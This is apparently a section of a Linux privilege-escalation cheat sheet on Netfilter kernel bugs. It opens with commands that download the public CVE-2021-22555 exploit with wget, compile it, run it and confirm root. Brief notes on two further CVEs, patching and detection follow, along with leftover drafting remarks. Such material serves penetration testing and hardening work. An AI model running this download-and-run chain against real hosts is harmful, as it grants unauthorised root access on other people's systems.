25. Netfilter

Check kernel version

uname -r

Download exploit

wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c

Compile exploit (32-bit)

gcc -m32 -static exploit.c -o exploit

Run exploit

./exploit

Verify root access

id
whoami

Key Concepts:

• Netfilter:

  • Linux kernel framework for packet filtering, NAT, etc.

  • Core component of Linux firewalls.

• iptables/nftables:

  • User-space tools for managing Netfilter rules.

• Vulnerabilities:

  • Various vulnerabilities have been found in Netfilter, leading to privilege escalation.

  • Use-After-Free: A common type of vulnerability, where a program attempts to use memory after it has been freed.

  • Out-of-bounds write: A memory safety violation where a program writes data beyond the allocated buffer.

Vulnerabilities and Exploitation:

1. CVE-2021-22555:

   • Affected kernel versions: 2.6 - 5.11.

   • Exploitation:

     • Download and compile the exploit.

     • Run the exploit.

   • Mitigation: Update the kernel.

2. CVE-2022-25636:

   • Affected kernel versions: 5.4 - 5.6.10.

   • Exploitation:

     • Download and compile the exploit.

     • Run the exploit.

     • Warning: This exploit can cause system instability.

   • Mitigation: Update the kernel.

3. CVE-2023-32233:

   • Affected kernel versions: up to 6.3.1.

   • Exploits anonymous sets in nftables.

   • Exploitation:

     • Download and compile the exploit.

     • Run the exploit.

   • Mitigation: Update the kernel.

Important Considerations and Enhancements:

• Vulnerability Severity:

  • These vulnerabilities are critical.

  • They allow local privilege escalation.

• Patching:

  • Kernel updates are essential.

• Exploit Reliability:

  • Exploits can be unstable.

  • System instability or crashes may occur.

• Real-World Scenarios:

  • Emphasize the risks in production environments.

  • Older, unpatched systems are highly vulnerable.

• Container Security:

  • Highlight the importance of kernel security in containerized environments.

  • Container breakout is possible if the host kernel is vulnerable.

• Detection:

  • Monitor for suspicious Netfilter activity.

  • Use intrusion detection systems.

• Kernel versions: Always make sure the exploit is compatible with the target kernel.

• Netfilter deep dive: More information could be provided about the inner workings of netfilter.